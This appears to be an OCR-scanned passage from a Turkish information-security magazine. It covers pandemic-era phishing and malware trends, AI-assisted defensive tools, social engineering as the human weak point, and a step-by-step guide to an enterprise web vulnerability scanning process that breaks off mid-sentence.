erisim ve kisisel bilgileri OpenBullet tarzi yazilimlar
kullanilarak calinip dark webde satisa sunulmustur.
Meraklilari ve bilgi edinmek isteyenler icin bu donemde
siklikla kullanilan zararli yazilim ve araglara deginecek olursak;
OpenBullet, METAUACK phishing campaign, Vicious
Panda, REMCQOS, Emotet, AZORult, LOKIBOT, CXK-NMSL
ransomware, Dharma/Crysis ransomware, Trickbot malware,
MBR viper malware, FORMBOOK malware, netwalker
ransomware, Spymax Malware (Corona live 1.1 app),
Ginp Trojan, Coronalocker olarak sayabiliriz. Bu slirecte
ilk olarak Cin merkezli sonrasinda ise virtistin cografi yayilimini
takip eden bir ilerleme ile diinya genelinde gerceklestirilen
saldirilari maddeler halinde 6zetleyecek olursak;

 Virs hakkinda insanlarin bilgi eksiklikler ve meraklarindan
faydalanilarak, htktimetler ve yetkili kuruluslar tarafindan yapilan agklamalar,
onlemler, kisitlama detaylari tarzindaki bilgilendirmelerin oltalama
amacl kullaniimast,

» Uzaktan calisma modeli nedeniyle evlerin birer ofis ortamina
doénusmesi, sokaga cikma kisitlamalari strecinde ragbet gosterilen
eglence uygulamalari, oyunlar ve 6zellikle de virtsle alakal vaka sayilari
ve takip eden mobil uygulamalar tizerinden énce phishing sayfalarina
yonlendirmeler, sonrasinda ise cihazlara malware yerlestirme seklinde
saldirilarin gerceklesmesi,

» Tuketicilerin yasam alanlari Urtnleri nedeniyle yonlendikleri e-ticaret
siteleri ve uygulamalarinda reklamlar kullanilarak gerceklestirilen oltalama
ve malware saldirilarina hedef olmalari,

» Uzaktan calismanin dogal bir getirisi olan video konferans uygulamalarina
yonelik olarak kullanici erisim ve kisisel bilgilerin calinmasi seklinde
saldirilarin gerceklestirilmesi,

* Bu surecte daha da populerlesen kripto para teknolojilerine yonelik
kripto para hesap ve ctizdanlarini ele gecirmeyi hedefleyen zararl yazilimlar,

+ Covid-19 test kitleri Gzerinden gerceklestiren SMS, e-mail ve online
mesajlasma uygulamalari Gzerinden yollanan phishing icerikleri,

+ Okullarin ve diger egitim kurumlarinin pandemi stirecindeki isleyisleri ile
alakall bilgilendirmelerden faydalanilarak gerceklestirilen saldirilar,

* Hazir yemek siparisi, gida ve temel ihtiyaclara yonelik online aligveris
uygulamalari Gzerinden gerceklestirilen saldirilar,

+ Pandemi stirecinde uzun sureli izieme oranlarina ulasan poptiler dizi ve
film izleme platformlart kullanicilarina yénelik olarak tcretsiz teklifler iceren
oltalama saldirilari,

* VPN hizmeti veren Gnlu kurum sayfalarini taklit eden oltalama
(phishing) saldirilart,

« Ulusal saglik sistemleri taklit edilerek saglik verilerinin toplanmasi
amaclyla uygulama marketlerine surtlen yasa digi mobil uygulamalar,

+ Devlet destegi ve tegviki, issizlik 6demeleri ve yardim kampanyalarinin
mail yoluyla taklit edilerek suistimal edilmesi seklinde gergeklestirilen saldirilar,

* Uluslararasi ticaretin aksamamasi icin kullanilan cloud temelli e-imza
platformlarina yerlestirilen Covid 19 icerikleri ile kullanicilarin sahte web
sitelerine yonlendiriimeye calisilarak kurumlarin kritik ve imza iceren
bilgilerinin calinmasi,

« Insanlara "Virts ile temaslisiniz, temasiniz kesfedildi” ve benzeri sekilde
mesajlar gonderilerek kisisel bilgi veya para talep edilmesi,

» Virtsle mucadele amaciyla sosyal sorumluluk kapsaminda hazirlanan
oltalama amacli yardim toplama maillerinin yayilmasi olarak belirtebiliriz.

Sonrasinda ise glinimiizde popdler bir konu olan as! surecleri ile
ilgili bilgilendirme ve dagitim odakli e-mail ve SMS'ler, turizm, seyahat
ve benzeri kampanya icerikleri, egitim kurumlari ile alakali
bilgilendirmeler, evlilik odakli organizasyonlar ve tekstil gibi
talebin artis gostermesi muhtemel olan sektorler ve alanlara yénelik
gergeklestirilen veya gerceklestirmesi beklenen bir takim siber
saldirilarin ve suistimallerin de artis gésterecegini Sngdrmekteyiz.
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Isletme ve Kurumlara Yonelik C6ziim Yaklasimlari

insan faktoriinden kaynaklanan bilincsizce verilen erisimler,
uzaktan calismanin vermis oldugu odaklanma, dikkat daginikligi
vb. sorunlar sebebiyle saldirilar gerceklestirilebildigi gibi, kurum
olarak meerut sistemlerin gtvenlik kontrollerindeki ve secilen
urtinlerdeki aksakliklar sebebiyle de zafiyetler olusmaktadir. Mobil
cihaz yonetim (MDM-Mobile Device Management) ¢oztimlerinin
kullanildigl durumlarda bile verilerin sizdirildigl goézlenmektedir.

Yasanan bu silrecte artis gosteren saldiri yiizeylerine yonelik
alinabilecek o6nlemler arasinda ise Ozellikle adaptif stireclerden
etkilenen sistemler yerine bunlara uyum saglayabilen, daha 6nce
gerceklesmeyen durumlarda bile risk skorlamasi ve anomali tespiti
yapabilen, karsilagilan durumlara yonelik alinabilecek tutarli aksiyonlari
Onerebilen ve otomatize bir sekilde gerceklestirebilen yapay zeka
odakli sistemlerin kullanilmasini 6nermekteyiz. Bu sistemler yapay
zeka temelli gelistirilmis ya da yapay zeka destekli;

Olay izlemenin, uyarilar tretebilmenin yaninda diger siber gtiven-
lik odakli Grtinlerle entegre calisabilen, korelasyon kurallarinin kati
sinirfan disinda daha adaptif ve yapay zeka destekli analizler gerceklestire-
bilen Yeni nesil SIEM urinlerini,

Kullanici ve Varlik Davranis Analizi Grtnlerini (User Entity Behavior
Analytic - UEBA),

IT sistemlerinde yer alan zayif noktalarin tespitini saglayan zafiyet
tarayicilart (Vulnerability Scanner),

Guvenlik Orkestrasyon, Otomasyon ve Olaylara Midahale Grlnleri
(Security Orchestration, Automation and Response - SOAR) kullanilarak
vaka yonetiminin geleneksel yaklasimlara gore degisen dunya ve
teknolojik kosullara uyum saglayan bir sekilde daha proaktif, otomatize
ve hizl midahalelerde bulunarak gtvenlik risklerinin en aza indirilmesi
saglanmalidir.

Yazimizi sonlandirirken bilgi giivenli§inde yer alan 4-Géz Prensibine
(Four Eyes Principle) deginelim. iki adam kurali (Two Man Rule)
olarak da bilinen bu prensip; bir vaka olusumunda gerceklestirilecek
kritik islemlerin, yUksek diizeyde giivenlik saglamak amaciyla (bir
yetkilinin hatasini digerinin fark etmesi, kontrol etmesi vb. durumlardan
dolayi) birbirlerinden bagimsiz olan iki yetkili tarafindan onaylanmasini
One surmektedir. Biz bu surrecte insanin yanina, ona destek olacak
yeni bir bagimsiz yetkili olarak yapay zekayi eklemekteyiz. Boylelikle
yasanilan olagan disi siireglerde ve sonrasinda bahsettigimiz insan
faktoriinden kaynaklanan ya da mevcut sistemlerin yeterince adaptif
calisamamasindan kaynaklanan givenlik risklerinin azaltilabilecegini
yuksek olasiliklarla 8ngérmekte ve yapay zeka destekli veya temelli
glvenlik Grind gelistirmelerine odaklanan bir vizyona sahip
olunmasi gerektigini ifade etmekteyiz.
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-> Dosya Konusu
Bilgi Giivenliginde
Kritik Bagari Faktort:
INSAN

J
L Serhat Aydin

21. yuzyllda gelisen teknolojinin  hizla
gelismesi, insanlarin ve igletmelerin teknolojiyi
kullanim oranin da hizla yukselmesiyle
teknoloji hayatimizin vazgecilmez bir pargasi
haline geldi.

Eskiden defterlere, ajandalara yazilan bilgiler
oncelikle oda buylklugundeki bilgisayarlara
kayit edilirken, teknolojinin hizli gelismesi ile
oda buyukligindeki bilgisayarlar insanlarin
yanlarinda tasinabilecek seviye de kigik
ebatlardaki teknoloji cihazlarina donistler.
Teknolojinin hizli gelisimi boyutlari kiigtilen
teknolojik cihazlarin &zelliklerinden feragat
etmesi yerine yeni 6zelliklere de sahip olmasini
sagladl.

Teknolojinin bu denli hizli gelismesi ise
alisila gelmis aligkanliklarin da degismesini
zorunlu kildi. Ornek vermek gerekirse firmalarin
arsiv niteligi tasiyan bilgi ve belgelerini
depolamak icin blyk fiziksel alanlara ihtiyag
duyarken, dijitallesmenin getirdigi fayda(!)
ile diinyanin farkli Glkelerinde farkli sehirlerinde
ayni verinin yedegini bulundurabilmek miimkiin
hale geldi. Peki bu dijitallesme insanlarin ve
isletmelerin hayatlarini kolaylastirirken ayni
zaman da bir soru isaretini de yaninda
getiriyordu GUVENLIK.

Firmalar arsivlerini kilitli dosyalarda saklamayi
glvenli bulurken, dijitallesmenin getirdigi
fayda ile farkl ortamlarda bulunan verilerin
korunmast ise giderek karmasik hale gelmisti.
Buguin her evde ya da is yerinde bulunan dig
kapilar dahi glin gectikce glivenli hale gelse
de ayni sekilde hirsizlar da ayni sekilde kendil-
erini gelistirerek yeni yontemler kesfetmektedir.
Ayni sey gelisen teknoloji ile bilgisayar
sistemlerinin de glvenligini saglamak igin
yeni bir endustrinin olugsmasina olanak saglad.
Bu endustriye genel olarak Bilgi Glvenligi
diyebiliriz. Isletmelerin bilgi giivenligini saglamak
adina eskiden sadece antiviris yazilimi
kullanirken, geldigimiz nokta Firewall (Guvenlik
Duvari), Antivirts, DLP (Veri Kaybi/Sizintisi
Onleme), Sandbox (Korumali Alan), Spam
Filtreleri vb gibi gtvenligin farkli alanlarina
hitap eden Urinler (yazilim ve donanim)
Uretildi ve firmalar da ihtiyaclarina gére bu
Urlinleri satin alarak kurumsal ag ve bilgisayarlarin
da kullanmaya basladilar.
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Bu driinlerin fiyatlari ise firmanin biyikligine,
mimarisine ve kullanici sayisina gore degiskenlik
gosterebiliyor. Firmalarnn bu denli bliyik maliyetli
yatirimlar yapiyor olmasi Ust diizey yoneticiler
icin de ne yazik ki gtivenligin tam anlamiyla
saglanabiliyor oldugunu zannetmelerine sebep
olmaktadir. Ancak bu kadar buyuk yatirimlar
yaptlmasina ragmen sistemleri kullanan
kisilerin INSAN olmasindan dolayi en biiyiik
guvenlik riskini de yine insan olusturmaktadir.

Yapilan yUkli miktardaki glvenlik Grinleri
daha 6nce tespit edilmis ve ¢ozimu 6grenilmis
olan zafiyetlere, hatalara karsi &nlemler
almak icin kullanilmaktadir. Oysa givenlik
urlinlerinde olmayan, Dlnya'daki 7.8 milyar
insanda olan bir sey var DUYGU ve HIS.

insanlar cogunlukla giindelik hayatlarinda
karar vermeleri gerektiginde duygularini ve
hislerini katarak karar vermektedirler. Bilgi
glvenliginde cihazlar kandirmak insanlari
kandirmak kadar kolay olmadigt icin genellikle
hackerlar insanlarin zaaflarini kullanarak
bilisim sistemlerine sizmaya calisirlar. Hackerlarin
kullandigl bu yénteme Sosyal Miihendislik denir.
Sosyal Muhendislik, teknik olarak ulagiimasi
muimkiin olmayan durumlarda sizilacak sisteme
insanlar kandirarak erismektir.

Sosyal mihendislik gerceklestirilerek bazen
bir bilgi, bazen bir uygulama kurulumu
bazen ise baska bir hesaba para aktarma
islemi gerceklestirilebilinir.
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Sosyal miihendisligin temelinde insan faktori oldugu
icin, kurumlar bilgi sistemlerini ne kadar guiclendirirlerse
glclendirsinler insanin oldugu yerde duygu ve hislerden
kaynakli zafiyette bulunmaktadir.

Sosyal mihendisler saldirilarinda genel olarak amacg,
para olmamakla birlikte, teknik olarak ulagiimasi mimkan
olmayan durumlarda hacklenecek sisteme ya da bilgiye
teknik olmayan bir dizi yolla erigsmektir.

Bu saldin da guvenlik Grinlerinden ¢ok insanlarin
farkindalik seviyesi dnemlidir. Clinki saldirganlar insanlarin
duygularindan ve hislerinden faydalanarak saldiriimaktadir.
insan hayati boyunca kendisine gelen teklifleri 6énce
degerlendirip sonrasinda ise karar vermistir. Sosyal
muhendislerde saldirilarda insanlara mail, sms veya telefon
yolu ile sahte cazip tekliflerde bulunarak onlari istedikleri
tuzaklara cekmeye calismaktadirlar.

Ornegin; Ciddi tutarlarda indirim orani verdiklerini vaat
eden SMS / Mail kampanyalari, glindemdeki diger konular
hakkinda ilgi cekici icerikler Covid-19 vb. ya da sizin bir terér
orgltld sorusturmasinda isminizin gectigini belirten bir
telefon cagrisi alma gibi farkli yontemler kullaniimaktadir.

Kurumlar verilerinin givenligini saglamak icin yaptiklari
teknoloji yatinmlarinin haricinde ayrica ¢alisanlarina gerekli
bilgi guivenligi farkindaligi egitimlerini almasini saglamalidir.
Ayrica farkindalig1 ding tutmak icin kurum genelinde poster-
ler ve glincel olarak gerceklestirilen saldinlar, olaylar hakkinda
calisanlari da ayrica bilgilendirmelidir.

Unutulmamalidir ki, bir zincir en zayif halkasi kadar
kuvvetlidir. Guvenlik zincirinde ise en zayif halka insandir.
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-> Dosya Konusu

Basarili Bir

Guvenlik Slreci
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Basit bir gtvenlik acigl tarayicisikullanarak biyik bir kurutusta tam web uygulama guvenligini saglayamazsiniz. Dogru
araclari segmeniz ve kapsamli ve élceklenebilir bir kurumsal web gtivenligi streci olusturmaniz gerekir.

Kurumsal Web Giivenliginin Temelleri

Web giivenligiyle ilgili zorluklarin kapsami, isletmenizin
buyuklugu ile katlanarak bydr. Birincil neden, denetlemeniz
gereken varliklarin sayisi degil, yapinin karmasikligidir. Buyuk
bir kurulusta, bir sorunun guivenlik kontrollerinden gegmesi
daha kolaydir. Ve biyik bir kurulusta, kiclk bir sorun
katlanarak daha buylk sonuclara yol acabilir.

Piyasadaki cogu glvenlik teklifi blyik resme degil, kiiclik
baskiya odaklanir. Tipik bir web glivenlik teklifini fiziksel
bir glivenlik sistemiyle karsilastiracak olsaydiniz, bu, 6zel
olarak uzmanlagmig korumalari ise almak gibidir. Korumaniz
gereken kigik bir ofisiniz varsa, birkag merakli muhafiz
burayi ¢cok glivende tutacaktir. Diinya ¢apinda yizlerce biyiik
binaniz varsa ve gardiyanlarin ydneticileri, ydnergeleri,
planlari veya programlari yoksa, suclular bunlari kolayca
atlatabilir. Ayni nedenlerle, bir web glivenlik agig1 tarayicisi,
klresel bir kurulusu saldirganlardan korumak icin yeterli
degildir.

Web giivenligi zorluklarinin, fiziksel glvenlik zorluklariyla
pek ok ortak noktasi vardir. Bir giivenlik sistemi tasarladiginiz-
da, kapsamli, guivenilir, verimli, kaciniimaz ve yonetilebilir
olmasini istersiniz. Saglam bir web giivenlik stireci olusturmak
icin ayni nitelikler gereklidir.

Web Varligi Kesfi

Kapsamli: Web Varligi Kesfi

Siz veya sirketinizdeki herhangi biri tim web sitelerinizi ve
web uygulamalarinizi listeleyebilir mi? Cogu buyik isletmede
bu mumkin degildir. Manuel bir varlik katalogunu titizlikle
tutsaniz bile, bunlarin timi hakkinda bilgilendiriimeyebilirsiniz.
Diinya genelindeki ofisinizin bir calisani, tek seferlik bir
pazarlama kampanyasi icin bir WordPress sitesi olusturabilir
ve size bundan asla bahsetmeyebilir.

Korunmayan varliklarin sonuglari, fiziksel bir givenlik
sistemi icin olanlara benzer. Izlenmeyen kii¢iik bir deponuz
varsa, birisi kolayca iceri girebilir. O depoda degerli esyalariniz
olmasa bile, bir suclu deponuzu yasa digi iglemler yiriitmek
icin kullanabilir. Benzer sekilde, siyah sapkali bir bilgisayar
korsani, diger sirketlere saldirmak icin unuttugunuz web
sitesini kullanabilir. Her iki durumda da bu, sirketinizin itibarina
onarilamayacak sekilde zarar verecektir.

Saglam bir kurumsal web guvenlik sireci, tam olarak neyi
korumaniz gerektigini bulmanizi saglayan etkinlikleri icermelidir.
Tdm yeni kurumsal web varliklarinizi goértinir gériinmez
otomatik ve strekli olarak kesfetmelisiniz. Hi¢bir manuel
islem yeterince kapsamli olmayacak- bunu sizin icin yapabilecek
bir araca sahip olmalisiniz. Boyle bir aracin atlatiimasi da
imkansiz olmalidir.

Bunu yapmanin en iyi yolu, uzman aracilarin arama motorlari
icin yeni siteler kesfederken kullandiklari ayni teknikleri
kullanmaktir.

Artilar

Eksiler

Isletmeye ait cogu web varligini bulur

Kaynaklari korur: manuel kataloglama ¢abalarinin yerini alir

insan kaynaklarini tamamen ortadan kaldirmaz:
sonuglarin manuel olarak dogrulanmasini gerektirir.
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Givenilir: Sifir Yanlig Alarmlar

Bir web sitesi glvenlik tarayicisi, bir arastirmaci gibidir. Her
potansiyel glivenlik agig1 icin sonug vermesini bekliyorsunuz ve
yanlis alarmlara doniisen sifir sonug vermesini bekliyorsunuz.
Bir yanlis alarm, size gézden kacan bir kii¢lik giivenlik sorunundan
¢ok daha fazlasina mal olabilir.

Karsilastirmay fiziksel glvenlik sistemiyle tekrar kullanalim.
Depolarinizin birinden otomatik bir sistemden alarm ¢agrisi alirsaniz,
bir guivenlik ekibi géndermelisiniz. Guivenlik ekibi siteye vardiginda,
alarmin neden calistirildigini bulmalidir. Yanhs bir alarm ise,
bu onlara ¢cok zaman ve caba harcayabilir.

Aynisi, bir web glivenlik agigl tarayicisi bir alarm verdiginde de
olur. Baglangigtaki gliven eksikliginden dolayi, bu alarm genel-
likle bir glivenlik uzmani ve / veya gelistirici tarafindan arastirilir.
Genellikle, bir glivenlik uzmanindan bildirilen glvenlik acigini
yeniden olusturmasi istenir. Glvenlik agigi yanlis bir alarm ise,
uzman veya gelistirici var olmayan bir seyi kanitlamak veya diizeltmek
icin cok fazla zaman ve ¢aba harcayabilir.

Simdi, her gece birkag kez ¢alan alarmi olan fiziksel bir gtivenlik
sisteminiz varsa ne olacagini hayal edin. Cogu durumda, hicbir
glvenlik ihlali olmadigini 6grenirsiniz. Birkag glin sonra alarma
glivenmeyi birakirsiniz, hatta alarmi sessize alirsiniz. Yanlis
alarmlar rapor ederse gulvenlik sisteminiz tamamen yararsiz
hale gelir. Tipki bir web guvenlik sisteminin yanls pozitifleri
rapor etmeye devam etmesi durumunda ise yaramaz hale gelmesi
gibi, ¢linkl ona glivenmeyi ¢abucak birakirsiniz.

Kiguk bir isletmede yanlis pozitifler ortaya cikarsa, bunlar genellikle
gliven kaybina neden olmayacak kadar nadirdir. Bununla birlikte,
binlerce varligi olan buyik bir kurulusta, ¢ok kigtk bir yanhs
pozitif orani bile, dlizenli olarak diizinelerce yanlis alarm anlamina
gelebilir. Bu nedenle, isletme ne kadar biyukse, yalnizca gercek
sorunlari raporlayan bir sisteme sahip olmak o kadar énemlidir.

Kanit Tabanl Tarama
Artilar Eksiler

Bir glvenlik agigindan yararlanilabilecegini stiphenin étesinde kanitlar | Tarama siiresini biraz artinr: prova olmadan
Sisteme olan gtiveni biiyik olctide artinr: yanlis pozitifierden | taramaya gére daha fazla zaman gerekdirir
tamamen kaginmaya yardimai olur

Cok fazla kaynak tasarrufu saglar: gtivenlik agiklarini manuel olarak
onaylamaya gerek yoktur

Verimli: Otomatik Sorun Yonetimi

Depodaki bir glivenlik gérevlisinin bir hirsizlik girigimini fark
ettigi ve silahh bir ekip cagirmasi gerektigi bir durumu hayal
edin. Bu glivenlik gorevlisi, bir cep telefonu kullanarak koruma
yOneticisini aramalidir. Koruma yoneticisi, cagriyi aldiktan sonra
takim kaptanina e-posta gdndermelidir. Takim kaptani, e-postay!
aldiktan sonra, kadroyu géndermek icin bir web sistemi kullanmalidir.
Tam slrec o kadar karmasiktir ki, 6rnegin koruma muadurinin
telefonu kapaliysa, herhangi bir asamada basarisiz olabilir. Ve
basarili olsa bile, takim geldiginde hirsizlar ¢oktan gitmis
olacak kadar uzun suruyor.

Tarif edilen durum sa¢gma gibi goériinse de yazilim sistemlerini
entegre etmeyen bircok kurulusta bu bir gercektir. Web giivenligi
esdegeri, glivenlik yoneticisinden hizmet sahibinden gelistiriciden
kesfedilen glvenlik acigini diizeltmesini istemesini isteyen bir
sizma test cihazi olabilir. Guvenlik acig taramasi ve raporlama,
isletmeniz tarafindan halihazirda kullanilan sorun izleme sistemleriyle
entegre edilmelidir. Verimli olabilmesi igin, glvenlik acigl
tarayicisinin insan miidahalesi olmadan sorunlari okuyabilmesi
ve olusturabilmesi gerekir.

Kurumsal sinif bir web glvenlik sistemi, kesif, raporlama ve
iyilestirme sureclerini otomatiklestirmelidir. Bir gtivenlik agigl
kesfedildiginde, sistem sorun izleyicide bir sorun olusturmali
ve bunu 6nceden yapilandiriimis kisiye veya ekibe atamaldir.
Sorun izleme sisteminde bir sorun kapali olarak bildirildiginde,
sistem glivenlik agiginin giderilip giderilmedigini dogrulamalidir.
Giderilmezse, sistem sorunu yeniden agmalidir.

Bunu tiim 6nde gelen sorun izleyicileriyle entegre edebilir ve
gelistirme stratejinizle uyumlu bir sekilde yapilandirabilirsiniz.
Bu sekilde, tim sireci otomatiklestirebilir ve sadece hizmet
sahiplerinizin veya proje yoneticilerinizin bunu denetlemesini
saglayabilirsiniz.

Sorun Izleyicilerle Entegrasyon

Artilar Eksiler

iyilestirme siirecini biyiik dliide hizlandinr Baglangicta, sorun izleme sisteminde cok

Guvenligi biiyiik 6lctide artinr: glivenlik agiklarinin asla ele alinmama | sayida sorunun gériinmesine neden olabilir.
olasiligini ortadan kaldirnr

Kaynaklar korur. yalnizca gézetim gerektirebilir
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Kaginilmaz: Planlama ve Siirekli Entegrasyon

Guvenlik gorevlilerini ise alirsaniz ancak 6gleden sonra 2.00
ile 3.00 arasinda deponuzu izlemiyorlarsa veya arka kapiyi
izlemiyorlarsa, becerileri ise yaramaz. Benzer sekilde, herhangi
bir web sitesi veya web uygulamasi diizenli olarak taranmazsa,
saldirilara daha yatkindir. Yeni gtivenlik aciklar dizenli olarak
kesfedilir ve kesiften kisa bir sire sonra istismar edilir.

Her web glivenlik siireci, planlanmis gece taramalari icermelidir.
Buylk bir isletmede, web siteleri ve web uygulamalarinin
sayisi bunu ¢ok kaynak yogun hale getirebilir. Bu nedenle,
kurumsal sinif bir web givenlik ¢6zimi, web sitelerini
siniflandirmaniza ve farkl risk faktorlerine bagli olarak farkh
programlar atamaniza izin vermelidir.

Bununla birlikte, sirket icinde gelistirilen uygulamalar s6z
konusu oldugunda, web sitelerini ve web uygulamalarini
Uretime gegerken test etmek en iyi fikir degildir. Gereksiz
riskler getirir ve blylk bir zaman kaybidir. Bir web uygula-
masinin veya web sitesinin her yeni strimd, olusturulur
olusturulmaz givenlik aciklarina kargi taranmalidir.

Karmasik gelistirme sireclerini yonetmek igin isletmeler
genellikle slrekli entegrasyon (Cl) ¢ozimlerini kullanir.
Derleme, dagitim ve diger bircok gorevi otomatiklestirmeye
yardimci olurlar ve ayrica giivenlik a¢ig1 taramasini otoma-
tiklestirmeye de yardimci olabilirler. Kurumsal sinif web
glvenlik agigi tarayicinizi bir Cl sistemi ile entegre ederseniz,
bir gelistirici her yeni kod isleme koydugunda ve bu kod
derlendiginde, tarayici kodu glvenlik agiklarina karsi kontrol
edecektir.

Bu tir bir otomasyona ulagmak icin Web Uygulama Tarayicinizi
farkl CI ¢6zimleriyle entegre edebilirsiniz. Bu sekilde, yeni
kodun getirdigi olasi gtivenlik aciklari derhal ele alinacaktir.
Guvenlik agiklari kesfedilirse islemi basarisiz olarak isaretlemek
icin Cl ¢ozimUnu bile yapilandirabilirsiniz. Bu sekilde, bir giivenlik
sorununun gelistirme asamasindan ge¢gmesinin bir yolu yoktur.

Cl sistemleriyle Entegrasyon

Artilar Eksiler
Sirket ici kod giivenlik agiklarinin gelistirme asamasini gegmesini
imkansiz hale getirir. Guvenlik agig tarayicisi, her iglemin asamali bir

taramasini yaptigindan, Cl sistemlerinin taahhitleri
Guvenligi blytik olciide artinr: canli sistemlerdeki olasi gtivenlik islemek icin biraz daha fazla zaman ihtiyaci vardir.
agiklarinin sayisini azaltir

Kaynaklari korur: sorunlar yalnizca ortaya gikmalarina neden olan

kisi veya ekip tarafindan yéneltilir
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Yonetilen: Kurumsal Sinif
Gorunurliik ve Raporlama

Bir isletmede, varliklarin sayisi ve sinirl
kaynaklar, her sorunu kisisel olarak denetlemeyi
ve ortaya ¢iktigl anda her givenlik agigini
ortadan kaldirmay! imkansiz kilar. Blyuk
kuruluslar da ¢ok daha fazla ataletten mustarip-
tir. Bazi durumlarda, isletmelerin yasal gerek-
lilikleri karsilamak igin cok o&zel bilgilere
erisimi olmasi gerekir.

Bu nedenle, kurulus ne kadar buyikse,
guvenlikle ilgili sorunlarin gortnrligu ve
onceliklendirilmesi ihtiyaci da o kadar blyik
olur. Dogru bilgilerle kesfedilen giivenlik
aciklarini gruplayabilir ve dnceliklendirebilirsiniz.
Yiksek riskli uygulamalardaki yuksek riskli
sorunlarin derhal ¢ozilmesini saglayabilirsiniz.
Gerekirse, sektorlintzdeki uyumluluk gerek-
sinimlerini de karsilayabilirsiniz.

Kurulusunuz igin saglam bir web guvenlik
streci uygulasaniz bile, dogru araclar olmadan
calisip calismadigina dair higbir fikriniz olmaz.
Guvenlik sorunlarinin ne siklikta ortaya
ctktigl, her ekip veya harici varlik tarafindan
ne kadar hizli dizeltildigi ve ayrica hangi
teknolojilerin, Gglincl taraf uygulamalarin,
kitapliklarin veya araclarin en ¢ok neden
oldugu gibi bilgileri size saglayan sistemden
geri bildirim almaniz gerekir. Bu tir bilgiler
size karar guicu verir: egitim veya satin alma
icin nereye zaman ve para yatirmaniz gerekir.
Ayrica size risk gorinarligu saglar.

Bunun ¢6zUmd, size dogru miktarda bilgi
saglamak icin is zekasi teknolojilerini kullanan
yonetici odakli bir ara yuzdur. Bir isletmede,
hic kimsenin yizlerce, hatta binlerce sorunu
tek tek manuel olarak gézden gecirme zamani
olmayacakti. Web guvenlik raporlarinin kisa
olmasi gerekir, ancak dogru faktorleri ele almalar
gerekir. Raporlarin ayrica belirli bir formatta
olmasi veya glvenlik uyumlulugu gereksin-
imlerini karsilamak icin belirli bilgilere sahip
olmasi gerekebilir.

Gogu web guvenlik agig1 tarayicisi, sizma testi
uzmanlari tarafindan kullaniimak tzere tasarlan-
mistir ve daha kuguk isletmelere yoneliktir.

Kurumsal Raporlama

Artilar

Givenlik stirecinin ne kadar iyi performans gésterdigine dair gériintirliik saglar (basarill mi yoksa degisiklik gerektiriyor mu)

Risk alanlan hakkinda bilgi saglar: kaynaklarinizi ve yatinmlarinizi odaklamaniz gereken yerler

Kurumsal Web Giivenligi Siireci Olugturma

Test edilmis en iyi uygulama niteligindeki kurumsal web glvenlik sirecine bir drnek 7 adimda
Ozetlenebilir.

1 Adim: Web Varliklarini Kegfedin

Bircok kurulus, sahip olduklari web sitelerinin, web hizmetlerinin, API'lerin ve web uygulamalarinin
sayisini blyuk élctide hafife alir. Kaybolan, unutulan veya yetkisiz web varliklari, kurumlari
aciga cikaran guvenlik kor noktalari olusturur. Kurulusunuzdaki her bir web varligl, genel
saldin ylzeyinize katkida bulunur. Web sitelerinizdeki ve uygulamalarinizdaki gtivenlik agiklarini
bulup ortadan kaldirmay disiinmeden 6nce, neye sahip oldugunuzu bilmeniz gerekir.

Kesif, gerceklere dayali glivenlik kararlari almanin ilk adimidir. Taramaya baslamadan énce
bile, test uygulamasi dagitimlari veya eski kampanyalar icin pazarlama siteleri gibi artik
kullanilmayan ancak saldiri ylizeyinizi artiran unutulmus varliklari kaldirmaya karar verebilirsiniz.
Ardindan, kurulusunuzun web ortaminin glvenligini test etmek icin bir givenlik acig
taramasi baslatabilirsiniz.

2. Adim: Gruplar Olusturun

Cok sayida varligi ydonetmenin anahtari verimli gruplamadir. Gruplar sorumluluk atama,
onceliklendirme, planlama, raporlama ve daha fazlasi icin kullanilir. Tek bir varlik, intiyaciniz
oldugu kadar ¢ok grubun parcasi olabilir. Gruplari olusturduktan sonra, kesfedilen ve ice aktarilan

varliklari gerektigi gibi bu gruplara hemen ekleyin.

En iyi uygulama olarak, asagidaki yonleri temsil eden gruplar olusturabilirsiniz:

Kritiklik (&r. Gorev Acisindan Kritik, Ozel Bilgi) Olgunluk (6r. Yeni, Canl, Eski)

Departmanlar  (6r. Pazarlama, Geligtirme,
Uciincii Taraf Yiiklenici)

Teknoloji (6r. Java, PHP, ASP
ji ( )

Ofisler (6. Istanbul, Ankara, izmir) Asamalar (6r. Asama, QA, OAT, Uretim)
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3. Adim: Kullanicilari ve izinleri Ekleyin

Blyik bir kurulusta, bircok tarafin web varlik givenligine
farkh duzeylerde ilgisi vardir. Farkli taraflarin da erigimi
belirli bilgi kapsamlariyla sinirli olabilir. Hepsini glvenlik stirecine
dahil etmek en iyi uygulamadir.

4. Adim: Envanteri Olugturun

Hazirlik adimlar tamamlandiktan sonra, artik kesfedilen web
varliklarini ekleyerek ve bunlari mantiksal gruplara atayarak
ve boylece secilen kullanicilara izinler vererek bir envanter
olusturabilirsiniz. Gerekirse, bu adimda manuel olarak ek
web varliklari girebilir veya bunlari ice aktarabilirsiniz.

Glivenlik agiginin giderildiginden emin olmak icin en iyi uygulama,
belirli bir web varli§indan sorumlu olan bir kisiyi belirlemektir.
Bu kisi, tek irtibat noktas! haline gelir ve giivenlik agiginin
ele alinmasiyla ilgili etkinlikleri devreder.

Guvenlik Politikasina Dahil Edin

Sirketinizin gtivenlik politikasi kesinlikle zaten web giivenligini iceriyor. Kurumsal sinif web giivenlik ¢ozimiintiz
tarafindan eklenen yeni zellikleri icerecek sekilde bu giivenlik politikasini degistirmeniz gerekebilir.

Adim 5: Sorun izleyici ile Entegre Edin

Buylk bir kurulusta, cok sayida kullanici tarafindan erigilecek
her yeni yazilim ¢6zimd, buylk kaynak maliyetlerine neden
olabilir. Stirecleri kolaylastirmak icin herkesin zaten bildigi
ve kullandig yazilimlari kullanabilmek istersiniz. Bu neden-
le, yalnizca kendi arayliziinde calisan bir gtivenlik agigi tarayicisi,
bir isletmenin amagclarina uygun degildir.

Yazilim gelistirmeyle ugrasan her isletme, biyik olasilikla
halihazirda bagimsiz bir sorun izleyici veya bir proje yonetim
sistemi ile birlikte gelen bir sorun izleyici kullanmaktadir. Bu
nedenle, gvenlik agig tarayicisinin bu tur araglarla birlikte
calisabilmesini istersiniz. Tarayici tarafindan bulunan sorunlar,
sorun izleme sistemine eklenmelidir ve 6rnegin, kapatilan
sorunlari otomatik olarak yeniden test etmek icin iki yonli
iletisim de mimkiin olmalidir.

6. Adim: Taramalari Planlayin

Bir kurulusun yuzlerce, hatta binlerce web sitesi ve web
uygulamasi olabilir. Her biri her giin taranacak olsaydi, ¢cok
fazla bilgisayar kaynag gerektirecekti. Bu nedenle, bircok
guvenlik yoneticisi cesitli faktorlere bagh olarak taramalari
